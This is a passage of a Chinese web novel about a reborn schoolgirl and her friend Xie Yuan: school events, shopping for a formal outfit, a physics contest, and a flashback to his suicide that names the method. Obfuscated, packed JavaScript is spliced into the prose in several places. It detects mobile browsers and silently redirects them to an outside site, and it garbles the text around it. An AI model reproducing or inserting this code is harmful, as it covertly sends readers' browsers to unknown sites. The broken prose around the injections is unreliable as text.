谢渊喜欢的东西很多,他喜欢漂亮的风景、各式各样奇形怪状的石头,可爱或造型特别的摆件,有段时间他特别喜欢收集五颜六色的饮品,不喝单纯当作摆件按颜色分类,至今还在他的展示柜里放着,那些饮料估计早就过期了。 江逾眠曾经问过,谢渊说“很漂亮啊,各种各样颜色的液体装在精致的瓶子里,每个都不一样,多可爱呀。” 谢渊性格活泼,喜欢的东西变化得很快,所以通常江逾眠送东西之前会问一下,不过有时候也会为了惊喜感不问。 “要不你周末陪我去挑挑呗?”刘天琪想了又想还是觉得江逾眠会挑。 “下周一有比赛,在京市,我需要提前过去。”江逾眠前两天翻物理笔记的时候才在角落里看到。 这个比赛是她重生之前报名的,过了初赛,复赛和决赛在京市比,复赛周一过了就周二继续决赛,没过当天就回。 她记得前世这个比赛她复赛没过,就去走了个过场拿到个三等奖,也就是参与奖。 这辈子说不定,不,是肯定不如上辈子,这物理啊她靠着自己曾经整理的笔记突击一下应付考试还行,到了正式比赛,只能听天由命了。 她最近语文都补不过来呢,物理上更是没时间拓展。 说起语文来,老班组织的帮扶小组活动,江逾眠和谢渊还没怎么开始呢。 “唉~”江逾眠看着自己的语文作业叹息,语文素养这个东西太难养了。 班级人已经到的差不多了,各课课代表一组组收作业,刘天琪奋笔疾书手都快舞出残影了,才在课代表过来时及时交上作业。 “眠姐,这个给你。”谢渊交完作业,把一本小册子放到江逾眠手里,这是他自己总结的语文小本,里面有常用文言文多义、高频诗词默写和阅读题解题技巧,是他从角落里翻出来的。 “谢啦,呐,你爱吃的小饼干。”江逾眠从课桌里拿出一包饼干放谢渊手上。 “呀,我还以为这个停产了呢!”谢渊有些惊喜,用手比了心,“谢谢眠姐,爱你~” 这个饼干是谢渊三年前发现的不知名小品牌,用料特别好,饼干表面是一层酥脆的巴旦木片,中间是巧克力夹心,最令人惊喜的是它不甜,中间的夹心是纯可可脂的,一口下去脆片、饼干、巧克力在嘴巴里混合出特殊的香味,超绝! 但是可能是成本太高了吧,价格也相对较高,这两年在超市里都很难看见了。 这个饼干的品牌叫"恋心",很擅长做各种夹心类食品,但由于用料好成本高没几年就入不敷出快倒闭了,江逾眠也是找了好多家超市才找到一家有卖。 可惜她最近买股票回本不多,要是放在前世她直接把这个品牌连带工厂一起买下来都行,这辈子只能买点小饼干支持一下了。 由衷希望这个品牌多撑几年。 “这春游才没过几天,学校怎么又要搞艺术节,还让不让学生们学习了!”颜霞收到通知的时候正和同办公室的老师聊天,离高考不到一个月了,学校净整这些幺蛾子,虽然她是高二班主任也看不惯这个。 “可不吗?”六班老师连声附和,“虽然说高三不参加,但到时候闹哄哄的她们不也得受影响吗?” “对啊,周六下午高三生也在校自习,这学校怎么想的。” “哦,又发一条,改周日了,估计是有高三老师和学校反映了。”四班老师看了一眼新通知。 虽然说改了时间,但是有几个老师还是不乐意,周末时间宝贵,孩子们在家不学习还能好好休息呢,非要弄这些没用的。 “下周日校园文化艺术,文艺委员安排一下啊,咱班出个节目,周五下午去审核,还有想当主持人的今天中午到文体中心216选拔。”颜老师趁着大课间排队的时候宣布这个消息。 今天风有点大,把颜老师的声音吹得有些失真。 “今天最后一节自习课物理考试,课间没事的时候都看看书,别跟苍蝇似的嗡嗡嗡。” “全国第三套中学生广播体操现在开始!第一节扩胸运动……” “行,都好好做,后排那几个大个女生,胳膊腿都伸直了!”颜霞抱着手臂在队伍里穿梭,瞅了两眼一个女生的亮橙色七分裤。 “明天换成校服。”颜霞小声指示,她这裤子太鲜艳了,要是什么相近色的她都不能说。 “嗯嗯,老师我校服裤子没干。”女生唯唯诺诺。 中午的时候谢渊去竞选主持人了,江逾眠去校门外排了刘天琪指定的那家米线。 她到的还算早,第三个就是她了。 “两份羊肉米线,一份牛肉米线多菜少米线,全清汤带走,辣椒外带,帮我多拿个一次性碗谢谢。” “一共五十四,找你六块,坐那边等一会儿。”米线店老板手脚麻利,收好钱之后带上手套下粉。 米线店是明厨,单锅单煮,一共四个灶台,已经有两个小锅开火煮上了,没有盖盖子发出咕嘟咕嘟的响声。 老板从旁边的巨大的半人高汤锅里舀出两骨汤将两个小锅装到半满,然后把泡好的米线放进去,汤是老板每天拿带肉的骨头熬的,通常一天能用完三锅。 而且由于开在学校附近,只从中午开到晚上七点,由此可见这家店生意有多火爆了。 江逾眠拿着手机看股票,还好最近一片飘红,收益不错,等再过两个月她就可以尝试联络某个还没开始冒头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你和你同桌怎么商量的,咱班要出个什么节目?”谢渊问旁边吃得满头汗的刘天琪。 “咱们班会乐器的挺多,我们得去问问看有没有人有意向组个乐团,要是组不成就舞台剧或者大合唱。大合唱不会出错,而且基本上选不上可以当纯粹的观众,物台剧大家可以演着玩。”刘天琪把嘴里的米线咽下去,她和她同桌商量完觉得这几个都行。 “舞台剧的话时间上可能来不及吧。颜老师说这周五就审核了?” 谢渊嚼嚼嚼,刚刚江逾眠给他夹了一块羊肉。 “一会儿回去先看看我同桌怎么说,他今天中午去问咱班会乐器的人去了,要是没信就下午投个票,二选一哪个票数多选哪个。”这个刘天琪不是很担心。 “也是。” “我猜大家会选大合唱。”江逾眠在脑子里回想,她记忆力好像没有上台演出这个印象。 “别说,我也这么觉得。咱班有渊哥上台当主持已经是最大的贡献了。”刘天琪吃饭快,这时候大半碗米线已经下去了。 谢渊继续嚼嚼嚼,这次吃的是豆芽。 “我吃完了,先回去午休了,你俩慢慢吃。”刘天琪把碗里的米线吃光,喝了两口汤,打了个嗝,“这俩我拿走了啊!” “你全拿走吧。”江逾眠把红苹果都推刘天琪那边。 “走了。” “不着急,慢慢吃。”江逾眠慢条斯理地喝着汤,米线的口感她不算喜欢,但汤她很喜欢,下次还买。 12. 第十二章 果然像是江逾眠记忆中那样,三班乐团没组成,班级投票选择了大合唱,在老班的介入下选了一首不会出错的《明天会更好》,然后不出意料的落选了。 “眠姐,你周六陪我去看看礼服好吗?”谢渊主持人竞选毫不意外的成功了。 文化艺术节主持共四人两男两女,学校给了每人一百五十元搞定礼服,租也好买也好,超额不补不够额也不退,现在钱已经到她们几人手中了。 “那我陪你去挑礼服,你送我去车站怎么样?”江逾眠要去京市比赛的事谢渊也是知道的。 “你不陪我去,我也会去车站送你啊,之前不就已经说好了吗?”谢渊觉得江逾眠有点看轻了两人的关系。 那可是她们之间的羁绊啊! 谢渊走近点,踮起脚尖敲敲江逾眠的脑壳,嗯,脆脆的。 “干嘛?”随着谢渊的靠近,他身上的香气就像是柔滑的薄纱一点点将她缠绕,鼻间盈满了淡淡的葡萄香,他换沐浴露了。 “敲敲看,脑子也没有坏掉啊。”谢渊敲完,从江逾眠的马尾中挑出一缕头发在指尖绕来绕去编成了个细细的辫子。 “这也太厉害了。”谢渊的前桌秦晚眼尖,把过程看清楚了,想拿自己同桌的头发试试,没成功差点打结。 “嗯?”江逾眠精准握住谢渊的手腕,把他的手带下来制止了他想要再多编几个的想法,“手怎么这么凉?” 江逾眠松松握住谢渊的手,帮他暖手。 “我刚刚洗手了啊。”谢渊没把手抽出来,反而翻了个面,另一面已经暖了。 “你俩可把手松开吧。”秦晚小声提醒,“郝主任就在这一层,让他看见了,你俩就完了。” “哦。”谢渊把手抽出来。 他眼珠转了转另一只手在江逾眠脖颈上碰了碰,嘻嘻笑着转身就跑。 “……”江逾眠没理,拿自己的玻璃水杯去接了大半杯开水掺点凉水。 “拿着吧。” 谢渊拿起水杯握着,微烫的水透过玻璃温暖着他的手心,他低头看自己的指尖,突然有点愧疚。 可惜铃声响起,打断了他的心绪,他拿出对应科目的笔记本。 周六,两人约好在商场门口见面。 谢渊打算先去租礼服的店看看,他在手机备忘录里记了几个店,是在网上搜的还有同学推荐的。 谢渊坐在树下的椅子上,看到右侧路口挺拔的身影,今天江逾眠穿得特别不一样。版型剪裁良好的休闲衬衫,配上一条黑色阔腿长裤,银色腰带束出腰线,显得身材比例极佳,戴在鼻梁上的细框眼镜更是点睛之笔,给人平添了一丝书卷气,却怎么看怎么吸引人。 “眠姐,这里!”谢渊朝江逾眠的方向挥挥手。 “奶茶,无糖。”江逾眠把手里拎着的东西递给谢渊。 别说,他刚刚真没注意到,光看脸和身材去了。 “哇,无糖奶茶真是邪教。”谢渊猛地低下头喝了一口,挡住自己发烫的脸,他现在有些不敢和江逾眠对视。 “不喝还我。”江逾眠在谢渊面前伸手。 “不要。”他已经很久没喝奶茶了! “第一站去哪?”江逾眠不再逗人,站直身体把谢渊的包拎在手里。 “我看看啊,先去学姐推荐的那家店吧,离这里很近,就在旁边那条街。” “行啊。” 这家店是专门租礼服和演出服的店,种类很多,占地面积也大。 谢渊看着眼前种类繁多的礼服,有些眼花缭乱,光黑色礼服就有整整两排,浅色礼服按照颜色由浅至深呈渐变式摆放。 “这个浅紫色的你试试?”谢渊皮肤白,但是五官却精致,穿这种淡淡的颜色会很出彩。 礼服上用渐变紫的丝绸做了几朵装饰花,不会喧宾夺主却有巧思。 谢渊去换上,从试衣间出来。 眉眼精致的男孩被浅浅的颜色衬得眉眼更深,将他漂亮的眼睛完全突显出来,但是礼服不合身,在谢渊身上显得过于宽大了。 “这个上衣有小一号的吗?”江逾眠问工作人员。 “我得查一下,稍等。”工作人员把衣服编码输入电脑,“抱歉,这个已经是最小号了。”女生脸上带着一丝抱歉。 “我们再看看。” “你更偏向什么颜色?”江逾眠问谢渊,他穿这个颜色很适合,但这件确实不行。 “稍微浅一点的吧,我穿深色有点暗沉。”谢渊还是挺喜欢身上这件的,但这个不显身材,把他个子都压低了些。 “我想试试那个蓝色的,眠姐你帮我拿一下呗。” “这个?” “旁边一点,对,那件。” “这件会好一点吗?” 这件礼服上衣做了收腰,在后腰处有一个大蝴蝶结,正好可以贴合腰线,但是,“这个垫肩太夸张了。”谢渊穿好后看着镜子抱怨。 像双开门冰箱。 “这个呢?” 这件白色礼服是连体设计,在肩膀处有两指宽的丝带,丝绸质感,可以不系起来,也可以在系在胸前。 “好看,颜色衬你,但这个不太好穿脱。”而且有点太透了。 谢渊又试了几件,不是颜色不合适就是尺码不合适,虽然谢渊长得好看,穿每一件都可以说一句好看,但是有的穿着还没穿校服好看就有点不对劲了。 “换一家吧。”谢渊试了快十套。 室内温度不算低,礼服不透气,谢渊额头已经微微出汗,他拿着奶茶猛吸两口补充水分。 “先找个地方休息一会儿吧,别去租,直接买一套吧。”江逾眠用湿巾给谢渊擦擦额角的汗,男生热得脸红扑扑的,微微喘息,会露出湿红的舌尖。 小猫吐舌头,可怜但可爱,江逾眠都想拿出手机拍一张。 十分钟后,两人坐在了肯爷爷里,两人坐在靠窗的位置休息。 “你给我看看,还有哪家租。” 谢渊拿出手机给江逾眠看,“还有三家,离这都不远,我本来想都去看看的。” 但是现在时间已经十一点半了,她们刚去了第一家,效率不高而且很难碰到合适的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江逾眠看着人乖巧的样子,忍不住靠近,嘴唇在他的发顶轻轻碰了一下,看着人已经困得不行的样子,“换个睡衣去睡。” “我好困啊,要不直接在沙发上将就一下算了。”谢渊连打了两个哈欠,眼泪都从眼角流出来了,人也要晃不晃的往江逾眠身上靠。 也行。 江逾眠看人实在是走不到楼上了,只好用脚挪茶几,好在谢父考虑到沙发床的款式,选择的茶几比较轻便。 江逾眠一手撑着人,一只手去摸索沙发卡扣,像是拖着个大型毛绒玩偶。 “咔哒。”找到了,江逾眠把沙发拉开向上一抬卡住,形成了一个宽一米二的床,然后把‘大玩偶’放在上面。 安置好人,定好闹钟,江逾眠自己去了一楼洗漱间洗脸,又去楼上拿了个薄毯,给人盖好。 没想到谢渊伸手勾住了江逾眠的脖子,他才多大力气,但是她不想挣脱,顺着人的力道也躺到了沙发床上,顺从本心的把人揉进怀里。 在彻底睡过去的前一秒,江逾眠还在想,希望于叔叔今天中午不要回来,要不然她多长张嘴都说不清。 13. 第十三章 谢渊醒得稍微早些,闹钟声还未响起,不知道是不是今天试衣服格外累,感觉浑身都没什么力气,后背肌肉酸酸的。 但是今天被窝好暖和,面前的玩偶软软的靠着好舒服,谢渊眯着眼蹭蹭,温热柔软的皮肤质感却令他回了神。 谢渊突然想起他床上似乎没放玩偶? 猛然睁开双眼,面前的衬衫扣子被蹭开了两颗,白皙的肌肤明晃晃映入眼帘,腰上隐约传来的压感令谢渊瞬间双颊红透,热气沿着脸颊顺着脖颈将他整个人熏得通红。 谢渊小心翼翼地抬手,慢吞吞地把眼前的扣子一颗一颗系上,生怕碰到一点。直到白皙的肌肤被挡到脖颈中段,他才闭紧眼睛当作什么都没看到,头也微微后仰直到空气的流动将温热吹散。 在谢渊动作的时候,江逾眠便已经醒了,看着少年柔软的发好一会儿,只不过少年太过心虚没有抬眼也就没有看到江逾眠眼中的笑意。 时间在谢渊这里变得很慢,不到两分钟闹钟就响了起来,可在谢渊的脑海里却已经转了好几圈。 江逾眠关闭闹钟起身,没叫醒装睡的人,给人一个降温的缓冲时间。 直到她倒了两杯温水,玻璃触碰茶几的清脆声响才让谢渊缓缓睁眼,装作刚刚醒来的迷糊模样。 “喝点温水。”江逾眠把水杯递过去,手无意识触碰衬衫纽扣。 她平常都不会扣最上面那颗扣子,那会让她有种呼吸困难的感觉。 谢渊看到了江逾眠的动作,慢慢低下了头,藏在发丝后的耳尖微微发红。 “我……我把水杯放回去。”等两人喝完,谢渊一把夺过江逾眠手里的水杯往厨房那边走,用水冲了冲杯子,看着窗外深呼吸几次,跳动过快的心脏才缓缓恢复。 等谢渊回到客厅时,江逾眠已经把沙发茶几恢复原样,只不过衬衫上的褶皱却无法复原了。 看到江逾眠的样子,脑海中不由闪过柔滑的触感、温热的体温和白皙的肌肤,那股冲上脸颊的热气差点又要卷土重来。 谢渊走上前把江逾眠的第一颗纽扣解开,恶人先告状:“你穿衬衫扣子都系上多勒啊,这种高领衬衫可以解开一颗扣子的!” “那就,谢谢小谢大人指点?”江逾眠声音平稳,但话语中却满是调侃。 “……”能不能不拆台?能不能? 两人又出发去了江逾眠上午沟通好的店里,令人惊喜的是,这家店刚到了一批新的男士礼服,大多为浅色款,而且有两件款式新颖。 江逾眠一眼就看中了其中雪青色那款,其实就是淡紫色,但是店员坚持说那是雪青色,江逾眠也就跟着学到了。 上衣不是传统的西装样式,面料更软,没有过多的装饰,只在腰腹处做了丝绸质感的收腰处理,些微的褶皱质感将谢渊的腰勾勒得极细。下装做了隐形腰带调节可以恰好贴合腰部,布料偏薄内部有一层同色内衬,垂感极好,长度恰好到脚踝处,行走间可以露出漂亮的脚踝曲线。 这件礼服还配了一条约两指宽的纱质丝带,店员小哥哥将丝带捋平系在谢渊的脖颈处,在侧面折出硬挺的蝴蝶结,原来丝带中有两段包进了铁丝,可以固定造型。 谢渊脖颈修长纤细,戴好配饰后,还能露出一截白皙的肌肤,薄薄的丝带下肌肤若隐若现,好像能闻到皮肤下透出的香气。 店员手很巧,系好蝴蝶结后剩下的一段丝带垂落到肩头,若是有风吹过,丝带飘起想来会更飘逸漂亮。 当谢渊在镜中看到自己的样子时,他当场就拍板决定了,直接和店员聊好取送礼服的时间方式还有定金。 最终谈下来的价格是一百八十元,押金五百当天早上送到学校门卫但是要自己送回来,如果弄脏会扣除一部分押金。 礼服租赁价格通常是一百二十元到一百五十元每天,但是这件礼服实在是太适合谢渊了,简直像是量身定做一样,再加上礼服是新到的还没人穿过,所以价格稍微高了一点。 但是肉眼可见,质感和材质确实值。如果不是店家不卖的话,江逾眠都想直接买下来。 租到了合适的礼服,谢渊的情绪肉眼可见的变得轻快,那种由内而外散发出的愉悦感渗透感极强。江逾眠光看着,嘴角便已经成了微笑的弧度。 手机提示音响起,又一笔收入到账,离她的目标越来越近了。 第二天上午,谢渊早早去了江逾眠家和出门上班的刘青打了个招呼就乖巧地坐在客厅沙发上。 不知道是为了方便什么,反正本来在房间里收拾的江逾眠把行李箱放在了客厅,谢渊从江逾眠大开的卧室门看到了她整个房间的样子。 很简洁的白色系,东西放得井井有条。江逾眠抽出一个小本子放在行李箱内,是谢渊的总结小本本。 然后是衣服和日用品,她原本是不怎么用水乳的,但是重生回来不久就买了一套,毕竟她这张脸有时候还是很有用的。 装完了东西,小行李箱依旧有些空荡,早知道用书包了,江逾眠有些后悔,但已经装完再换有点麻烦。 谢渊把人送到了车站,两人在车站坐了一会儿,江逾眠给他买了个冰淇淋然后打了个车看着人上车,自己去检票上了火车。 在车站的一个多小时,其实两人也没说什么话,但是江逾眠却感到安心,为这种安静的陪伴感到舒心。 江逾眠没谈过恋爱,但是她想象中的恋爱大概就是那种感觉。 等上了车,江逾眠才发觉还没离开多久,她就已经开始想念谢渊了。 她有时候其实也不太明白,她到底是习惯了谢渊的陪伴,还是对谢渊过分喜爱;同样她也不知道谢渊对她的喜欢到底是什么样的喜欢。 靠在火车车窗上,看着窗外连绵的铁轨和树木,突然陷入了回忆。 上辈子高考后,三班一起去吃了散伙饭,饭后十几个人提议去了KTV,大部分人在那个夏天都已经成年,然后顺理成章的有人提议喝一点酒。 红红绿绿的灯光下,那些小小的杯子中装的鸡尾酒似乎也变得无害了。 谢渊有些喝醉了,他脸颊泛红鼓起勇气朝着江逾眠走来,从认识后第一次叫了她的全名。 “江逾眠,我……我喜欢你,做我女朋友好不好。”少年拽着她的衣角,双眼朦胧好像有一层雾,脸颊红霞弥漫。 江逾眠就像是旁观者一样,看着那时的自己启唇。 “我们没有未来。”冰冷的话语,江逾眠拧巴的像根粗粝的麻绳。 满眼女孩的少年一瞬间红了眼眶,眼中的雾气凝成泪珠从眼角滑落,却说出了平静的一声“好。”然后拿起挎包转身离开。 江逾眠冷眼看着程晚追出去安慰谢渊,刘天琪也满是不赞同地瞪视她,而她只是缓缓攥拳没说一句话。 那时的自己是怎么想的来着,谢渊高考失利没办法和自己在一个城市,自己和谢渊家庭条件差距过大即使在一起也没办法长久。再加上自己那时可怜的自尊,其实说起来那时的自己已经疏远了谢渊将近两年。她并不知道谢渊是因为自己长久以来的陪伴突然变得冷淡使他感到不适而认为自己是喜欢她,还是因为他是纯然的喜欢。那时的自己是偏向前者的,而且少女总是口是心非的,会认为自己很酷。那时的自己不知道从那以后两人再也没说过一句话,也不知道这次见面是两人最后一次见面。 再收到消息时,却是#三线小生家中自杀的新闻,还是从邻居大爷的口中得知的。 如巨浪般的痛楚轻易冲破了内心厚厚的城墙将她淹没,她以为被遗忘的人和记忆却翻涌而出。从那天起她疯了一般搜寻谢渊的信息,在葬礼上得知了大半真相。 谢渊大一那年,谢父谢父去学校看他,在C市待了几天后开着租了几天的车前往机场的路上发生车祸。谢母谢长青当场死亡,谢父于敏重伤成为植物人。家中生意因缺少主事人订单大量流失,谢渊只好接过重担,但他实在不是那块料很快就宣告破产背上债务,他只好被迫进入娱乐圈来赚取金钱维持父亲的医疗费用偿还欠款。为了多赚钱,他什么戏都接,什么综艺都上。 可惜他之前病急乱投医签的公司却不干人事,克扣他的片酬,用他闯出来的一些名气捧新人,同时恶意剪辑想要拿捏谢渊,更甚者想要把他介绍给大老板,他不同意却遭到了报复。从那之后铺天盖地的绯闻、黑料如同雪花般,他撑着撑着撑着……患上了很严重的抑/郁/症,可他不能倒下,公司不管他,他就自己跑通告找剧组,后来终于熬到年限和公司解了约才多出了些喘息的余地。 麻绳专挑细处断,厄运专找苦命人。那一年于敏因并发症抢救失败死亡,同年同期艺人因一个角色给他泼脏水,因为他的敬业与演技压下去的那些假黑料又一次卷土重来。辱/骂,黑粉,骚/扰,私生,甚至有人在他家门上恶意写下恶心的意/淫,泼上了大片红色油漆。 他只剩自己一个人了,当用自己全部的积蓄偿还上最后一笔欠款后,谢渊突然觉得人生无望,未来一片漆黑空洞,他完全失去了撑下去的动力。 “我们没有未来。”谢渊那时想到了江逾眠曾经说过的这句话。 “原来,是我没有未来了啊。”然后毅然决然割破手腕泡进放满水的浴缸中。 当他的尸体被发现时,已经是第二天。 江逾眠前世用了六年,终于将那个恶心的始作俑者送入监/狱。可是那个明媚的少年却再也无法回来了。 [年年:眠姐,我到家了。] 为谢渊专门设定的手机铃声将江逾眠从阴沉的回忆中拉出。 江逾眠抬手擦掉涌出的泪,抽出一张纸擤鼻涕,调整好情绪才回复谢渊的飞信,即使他看不到,也希望能用更好的态度来面对他。 [逾:我已经到F城啦,你看外面的景色。图片.jpg]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543549|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [年年(珍宝):哇,好漂亮的拱桥哇,还有小船!] [逾:等我回来给你带特产,你想要什么?] [年年(珍宝):我想吃烤鸭诶,等你回来我们周末一起去吃吧。馋猫打滚.jpg] [逾:那给你带特色糕点吧。] [年年(珍宝):好耶!比心!] 看着手机屏幕上打滚小猫的可爱表情,江逾眠不由得笑出来,指尖碰了碰那只可爱的起司猫。 [年年(珍宝):今天在舞室练了新舞,下次跳给你看。] 江逾眠到了京市先去买了特产,明天比完赛回去可能会来不及买东西。 之后她又以投资人的身份联系了那两个目前还在读研究生的科技产品发明人,编了一个创业富二代的理由唬住两人给出了第一笔投资,两万块。并提出了自己的一些看法,两人现在只有设计雏形,不知为什么江逾眠会知道,但是听面前这个过分年轻的投资人谈起研发来有自己的想法终于是放下了疑心,主要是钱到账了。 毕竟骗子怎么会给你主动送钱却只让你研发东西呢? 然后她们约好线上联系,每过一段时间会给江逾眠汇报研发进程,几人彻底绑定到一起。 解决了一块心病后,江逾眠松了一口气,她原本没打算这么早接触这两人,但择日不如撞日恰好遇见她当即下手,投资人才是不会吃亏的,幸好两人在初期穷得很,要不说不定看不上她这点钱。 果然如江逾眠所想,这个物理竞赛对她来讲如同天书,即便上辈子已经做过一次,她仍然满头问号,看着会点的就写不会的也蒙些公式上去,总不至于成绩太难看。 赛事举办方实在会做,宣布的时候并未宣布成绩只是给没有通过的人发了奖状。 江逾眠当天就买了票回到了夏城,回到家里把自己洗刷干净后拍了一张照片给谢渊。 这张照片相当心机,她是对着镜子拍的,挡住了自己的脸,但是没擦干的长发拢在胸前,微湿的白色短袖粘在皮肤上可以稍微透出些肤色和身体轮廓。 现在是上课时间,谢渊没有回复,下课后当然也没有,但江逾眠确信他看到了。 今天看来收不到回复喽。江逾眠摸到了三中论坛#逾渊专区,她是昨天等考试入场无聊的时候翻到的,还有些隐蔽,是从一个同人文链接里进入的测试界面,通过几道问答题才能看到这个专区的内容。 高中生的想象力是极其丰富的,什么人外触手、ABO啊的同人文都已经写出来了。但是江逾眠主要是来看照片的,这里有好多她和谢渊的照片,单人合照都有。不得不说拍摄技术极佳,那种氛围感她作为本人第一次看都得说一句绝配,于是忍不住存了好几张放到自己的隐私相册中。 第二天江逾眠回校上课,把带回来的特产其中一份分给同学们,另一份更精致的给谢渊,然后自然地拿着谢渊的杯子去给他接热水泡百香果茶。 两人心照不宣地没有提起那个中午和那张有些暧昧的照片,但是任谁都能看出来江逾眠和谢渊两人之间的氛围变得不一样了。 江逾眠和谢渊还是像以往那样,行为也没有太大的变化,但是当两人坐在一起的时候却给人一种谁都插不进去的感觉。 谢渊拿着江逾眠上周的语文卷子,看着她的分数叹气,“眠姐,你之前考得高的时候难道是碰运气吗?” “''通感''你不知道吗?这不明显用触觉和嗅觉去描写作者看到的画面吗?” “啊,这样,但这不算是比喻吗?” “……姐姐啊,你看看我给你那个总结小本吧,实在不行咱背下来呢?” 谢渊想翻过这道题,结果看到了两分的文言文阅读,“还有这文言文,这样,眠姐你买一本专门的文言文题集,一天做一篇,三个月后绝对有翻天覆地的变化。” “作文更好办了,好人好句,素材积累。” 谢渊从江逾眠的书桌堂里掏出了自己的物理卷子,自从帮扶计划开始后,他就把他的一部分卷子放到了江逾眠这。 在江逾眠物理笔记的荼毒下,他已经进步神速,一个月从三十爆改五十,这谁不得夸一句天才! “这个,向心力,水平方向有个加速度,你再重做试试。” “眠姐,这道题咋回事?”刘天琪回头,趁着谢渊重做的功夫拿着她那卷子打算问一嘴。 “你自己看吧。”江逾眠把自己的卷子抽出来塞刘天琪手里,把人转回去了。 刘天琪:“?” 谢渊做到一半又卡住了,抬起头朝江逾眠讨好的笑。 江逾眠叹气,摸了摸谢渊的头接过他手里的笔,任劳任怨地又讲了一遍。 中途郝主任还过来在后门看到了两人靠近的样子,进来看了一圈,看两人讲题讲得火热,满意地点了点头。 女男之间也是有纯友谊的嘛! 14. 第十四章 校园文化艺术节是在周日下午开,时间从下午两点到下午五点,由于参与人数过多连学校专门开各种晚会的礼堂都容纳不下,所以每年都是在操场开,学校会提前一天搭好舞台,还会搭一些摊子给校内学生一个合法赚外快的渠道。 通常会有一些同学合伙烤饼干、蛋糕,做奶茶果汁之类的,材料可以向学校申请支付成本费即可,不过不许有明火。 有一年有三个高年级学长学姐合伙弄了个烧烤摊,结果因为操作失误差点烧了摊子,之后带明火的就被禁止了。 但是由于烧烤这东西实在是太香了,所以自那年以后那几个学长学姐转用电烤炉了,生意依旧火爆。 据不明人士透露,用她们的秘制调料烤出来的肉又香又嫩,连吃十串都没没问题。 作为主持人,最好化些妆,不然在舞台光下会显得很没气色,但是谢渊的化妆技术有限。 于是他约了化妆师提前两小时到家里帮他化妆,顺便把江逾眠也给薅过来了。 “哇,宝宝,你的皮肤太好了,离这么近都看不到什么毛孔诶。”化妆师小哥哥在给谢渊上粉底的时候实在没忍住夸赞,“而且一点痘痘都没有,怎么能这么会长啊!” 他实在花了大力气才没在金主的脸上乱摸。 谢渊被化妆师小哥哥夸得有些脸红,他虽然平时在家人朋友面前都臭美得不得了,但是被陌生人这么热情的夸赞还是会有些羞涩。 谢渊皮肤白皙细腻、面色红润,化妆师用了最白的色号反而比谢渊原本的肤色稍微暗一些。 “小哥哥,你有没有平时自己用的粉底啊。”擦完一半化妆师左看看右看看不太满意,他化妆包里虽然装备齐全但粉底液准备的是符合大多数人肤色的四种色号,对谢渊来说有点不合适。 化妆师三下五除二用化妆棉沾了卸妆水给谢渊卸掉了。 江逾眠默默拿过一小管粉底液递到了化妆师手里,从化妆师给谢渊上妆的时候她就已经感到不妙了,于是去了谢渊房间在化妆台上找到了……一个试用装。 “眠姐,你怎么知道我平时用这个?”谢渊乖乖坐在单人沙发上,额前微长的刘海被两个夹子夹好固定,露出光洁的额头。 “……”你化妆台上一共就这一个和粉底沾边。 “我还以为你会分不出来那些瓶瓶罐罐呢。” “我有眼睛。”识字。 “眠姐,你舔一下嘴巴。” 江逾眠做到一半,看到眯着眼睛偷看他的谢渊,还有他唇角那不太明显的弧度,好的懂了。 这个化妆师技术很好,除了最开始的色号问题之后,手法专业审美也很好,在看过谢渊的礼服后很快确定好了妆容,并且飞速做好造型,比预计时间早了将近二十分钟。 化妆师最后给谢渊涂上口红,上面又涂了一层亮晶晶江逾眠叫不出名字的东西。 然后绕着谢渊转了好几圈,在得到可以拍照做招牌的时候很大气的给谢渊打了六折,美滋滋地拍了好几个角度的照片。 化妆师走后时间还早,谢渊眼睛转了两圈想到一个好主意,“眠~姐~” 两个字说得婉转动听,江逾眠就猜到他要开始使坏了。 两分钟后,江逾眠坐在了谢渊刚刚坐的位置上,男孩残留的体温如烟般在她周身缠绕,让她不由得僵了一瞬。 一张被妆容放大了美貌的脸骤然靠近,江逾眠微微侧头看到小茶几上巨大的化妆镜,将两人的上半身完全映照了出来,像是什么画框将二人定格。 江逾眠可以看到谢渊右侧眼角画的那个小小的淡紫色蝴蝶,闪闪发光、振翅欲飞,可以看到靠得极近的红润的唇,可以嗅到他新买的香水的味道,还有从皮肤中透出的热气。 “你别看我呀,把眼睛闭上。”谢渊拿着一支眼线笔不知从何下手。 江逾眠睫毛颤了颤,闭上眼睛,右手抬起顺着印象搭上了谢渊的腰,纤细柔韧,不过有点凉。 “你别动!”谢渊被江逾眠掌心的温度吓了一跳,手撑到了她的肩膀上,一条腿的膝盖压在沙发的空位上,看起来好像将人禁锢在了怀里。 哼!优势在我! 谢渊看着江逾眠坐着堪堪到她胸口的高度,和平时根本看不到的发顶点点头。 眼线笔极细落在皮肤上很痒,江逾眠忍不住稍微收拢掌心,直到紧紧贴住谢渊的腰线才作罢。 谢渊在化妆师来之前就已经把礼服上衣穿好,腰间丝绸质感丝滑且薄,她的手才放了一会,就将那一小片布料捂暖了,然后又悄悄移了点位置。 “看!” 谢渊放下腿,离远了些,江逾眠手中骤然空落,缓缓睁开了眼。 镜中少女眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 